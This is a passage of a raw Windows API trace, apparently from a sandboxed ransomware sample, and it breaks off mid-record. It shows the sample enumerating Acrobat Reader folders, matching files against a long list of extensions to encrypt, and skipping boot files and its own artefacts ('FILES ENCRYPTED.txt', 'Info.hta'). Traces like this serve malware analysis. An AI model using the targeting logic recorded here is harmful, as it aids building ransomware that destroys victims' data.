[0269.152] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".jpe") returned 4 [0269.152] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".jpeg") returned 5 [0269.152] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0269.152] lstrlenW (lpString=".jpf") returned 4 [0269.152] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".jpg") returned 4 [0269.152] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".jpx") returned 4 [0269.152] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".js") returned 3 [0269.152] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0269.153] lstrlenW (lpString="ui-strings.js") returned 13 [0269.153] lstrlenW (lpString=".love$") returned 6 [0269.153] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0269.153] lstrlenW (lpString="ui-strings.js") returned 13 [0269.153] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0269.153] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0269.153] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js") returned 120 [0269.153] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.154] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0269.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0269.154] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0269.154] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si") returned 106 [0269.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si") returned 1 [0269.154] lstrlenW (lpString="sl-si") returned 5 [0269.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1 [0269.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0269.154] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si") returned 106 [0269.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0269.155] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.155] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.155] lstrlenW (lpString="ui-strings.js") returned 13 [0269.155] lstrlenW (lpString=".1cd") returned 4 [0269.155] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.155] lstrlenW (lpString=".3ds") returned 4 [0269.155] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.155] lstrlenW (lpString=".3fr") returned 4 [0269.155] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.155] lstrlenW (lpString=".3g2") returned 4 [0269.155] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.155] lstrlenW (lpString=".3gp") returned 4 [0269.156] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.156] lstrlenW (lpString=".7z") returned 3 [0269.156] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.156] lstrlenW (lpString=".accda") returned 6 [0269.156] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".accdb") returned 6 [0269.156] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".accdc") returned 6 [0269.156] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".accde") returned 6 [0269.156] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".accdt") returned 6 [0269.156] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".accdw") returned 6 [0269.156] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.156] lstrlenW (lpString=".adb") returned 4 [0269.156] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.157] lstrlenW (lpString=".adp") returned 4 [0269.157] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.157] lstrlenW (lpString=".ai") returned 3 [0269.157] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.157] lstrlenW (lpString=".ai3") returned 4 [0269.157] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.157] lstrlenW (lpString=".ai4") returned 4 [0269.157] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.157] lstrlenW (lpString=".ai5") returned 4 [0269.157] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.159] lstrlenW (lpString=".ai6") returned 4 [0269.159] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.159] lstrlenW (lpString=".ai7") returned 4 [0269.159] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.159] lstrlenW (lpString=".ai8") returned 4 [0269.159] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.159] lstrlenW (lpString=".anim") returned 5 [0269.159] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.159] lstrlenW (lpString=".arw") returned 4 [0269.159] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.159] lstrlenW (lpString=".as") returned 3 [0269.159] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.160] lstrlenW (lpString=".asa") returned 4 [0269.160] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.160] lstrlenW (lpString=".asc") returned 4 [0269.160] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.160] lstrlenW (lpString=".ascx") returned 5 [0269.160] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.160] lstrlenW (lpString=".asm") returned 4 [0269.160] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.160] lstrlenW (lpString=".asmx") returned 5 [0269.160] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.160] lstrlenW (lpString=".asp") returned 4 [0269.160] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.160] lstrlenW (lpString=".aspx") returned 5 [0269.160] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.160] lstrlenW (lpString=".asr") returned 4 [0269.160] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.161] lstrlenW (lpString=".asx") returned 4 [0269.161] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.161] lstrlenW (lpString=".avi") returned 4 [0269.162] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".avs") returned 4 [0269.162] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".backup") returned 7 [0269.162] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.162] lstrlenW (lpString=".bak") returned 4 [0269.162] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".bay") returned 4 [0269.162] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".bd") returned 3 [0269.162] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.162] lstrlenW (lpString=".bin") returned 4 [0269.162] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".bmp") returned 4 [0269.162] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".bz2") returned 4 [0269.162] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.162] lstrlenW (lpString=".c") returned 2 [0269.162] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.162] lstrlenW (lpString=".cdr") returned 4 [0269.162] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".cer") returned 4 [0269.163] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".cf") returned 3 [0269.163] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0269.163] lstrlenW (lpString=".cfc") returned 4 [0269.163] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".cfm") returned 4 [0269.163] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".cfml") returned 5 [0269.163] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0269.163] lstrlenW (lpString=".cfu") returned 4 [0269.163] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".chm") returned 4 [0269.163] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".cin") returned 4 [0269.163] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0269.163] lstrlenW (lpString=".class") returned 6 [0269.163] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0269.163] lstrlenW (lpString=".clx") returned 4 [0269.164] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0269.164] lstrlenW (lpString=".config") returned 7 [0269.164] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0269.164] lstrlenW (lpString=".cpp") returned 4 [0269.164] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0269.164] lstrlenW (lpString=".cr2") returned 4 [0269.164] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0269.164] lstrlenW (lpString=".crt") returned 4 [0269.164] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0269.164] lstrlenW (lpString=".crw") returned 4 [0269.164] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".cs") returned 3 [0269.165] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0269.165] lstrlenW (lpString=".css") returned 4 [0269.165] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".csv") returned 4 [0269.165] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".cub") returned 4 [0269.165] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dae") returned 4 [0269.165] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dat") returned 4 [0269.165] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".db") returned 3 [0269.165] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0269.165] lstrlenW (lpString=".dbf") returned 4 [0269.165] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dbx") returned 4 [0269.165] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dc3") returned 4 [0269.165] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dcm") returned 4 [0269.165] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".dcr") returned 4 [0269.165] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0269.165] lstrlenW (lpString=".der") returned 4 [0269.166] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".dib") returned 4 [0269.166] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".dic") returned 4 [0269.166] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".dif") returned 4 [0269.166] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".divx") returned 5 [0269.166] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".djvu") returned 5 [0269.166] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".dng") returned 4 [0269.166] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".doc") returned 4 [0269.166] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".docm") returned 5 [0269.166] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".docx") returned 5 [0269.166] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".dot") returned 4 [0269.166] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".dotm") returned 5 [0269.166] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".dotx") returned 5 [0269.166] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0269.166] lstrlenW (lpString=".dpx") returned 4 [0269.166] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0269.166] lstrlenW (lpString=".dqy") returned 4 [0269.167] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".dsn") returned 4 [0269.167] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".dt") returned 3 [0269.167] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0269.167] lstrlenW (lpString=".dtd") returned 4 [0269.167] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".dwg") returned 4 [0269.167] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".dwt") returned 4 [0269.167] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".dx") returned 3 [0269.167] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0269.167] lstrlenW (lpString=".dxf") returned 4 [0269.167] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0269.167] lstrlenW (lpString=".edml") returned 5 [0269.167] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0269.168] lstrlenW (lpString=".efd") returned 4 [0269.168] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0269.168] lstrlenW (lpString=".elf") returned 4 [0269.168] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0269.168] lstrlenW (lpString=".emf") returned 4 [0269.168] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0269.168] lstrlenW (lpString=".emz") returned 4 [0269.169] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".epf") returned 4 [0269.169] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".eps") returned 4 [0269.169] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".epsf") returned 5 [0269.169] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0269.169] lstrlenW (lpString=".epsp") returned 5 [0269.169] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0269.169] lstrlenW (lpString=".erf") returned 4 [0269.169] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".exr") returned 4 [0269.169] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".f4v") returned 4 [0269.169] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0269.169] lstrlenW (lpString=".fido") returned 5 [0269.169] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0269.170] lstrlenW (lpString=".flm") returned 4 [0269.170] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".flv") returned 4 [0269.170] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".frm") returned 4 [0269.170] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".fxg") returned 4 [0269.170] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".geo") returned 4 [0269.170] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".gif") returned 4 [0269.170] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".grs") returned 4 [0269.170] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".gz") returned 3 [0269.170] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0269.170] lstrlenW (lpString=".h") returned 2 [0269.170] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0269.170] lstrlenW (lpString=".hdr") returned 4 [0269.170] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0269.170] lstrlenW (lpString=".hpp") returned 4 [0269.170] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".hta") returned 4 [0269.171] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".htc") returned 4 [0269.171] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".htm") returned 4 [0269.171] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".html") returned 5 [0269.171] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0269.171] lstrlenW (lpString=".icb") returned 4 [0269.171] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".ics") returned 4 [0269.171] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".iff") returned 4 [0269.171] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0269.171] lstrlenW (lpString=".inc") returned 4 [0269.171] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".indd") returned 5 [0269.172] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0269.172] lstrlenW (lpString=".ini") returned 4 [0269.172] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".iqy") returned 4 [0269.172] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".j2c") returned 4 [0269.172] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".j2k") returned 4 [0269.172] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".java") returned 5 [0269.172] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0269.172] lstrlenW (lpString=".jp2") returned 4 [0269.172] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".jpc") returned 4 [0269.172] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0269.172] lstrlenW (lpString=".jpe") returned 4 [0269.172] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0269.173] lstrlenW (lpString=".jpeg") returned 5 [0269.173] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0269.173] lstrlenW (lpString=".jpf") returned 4 [0269.173] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0269.173] lstrlenW (lpString=".jpg") returned 4 [0269.173] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0269.173] lstrlenW (lpString=".jpx") returned 4 [0269.173] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0269.173] lstrlenW (lpString=".js") returned 3 [0269.173] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0269.173] lstrlenW (lpString="ui-strings.js") returned 13 [0269.173] lstrlenW (lpString=".love$") returned 6 [0269.173] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0269.173] lstrlenW (lpString="ui-strings.js") returned 13 [0269.173] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0269.173] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0269.173] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0269.173] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0269.173] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0269.174] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0269.174] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0269.174] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0269.174] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js") returned 120 [0269.174] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.174] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0269.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0269.174] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0269.174] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 106 [0269.174] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 1 [0269.174] lstrlenW (lpString="sl-sl") returned 5 [0269.175] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-sl") returned -1 [0269.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0269.175] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl") returned 106 [0269.175] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0269.175] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.175] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, 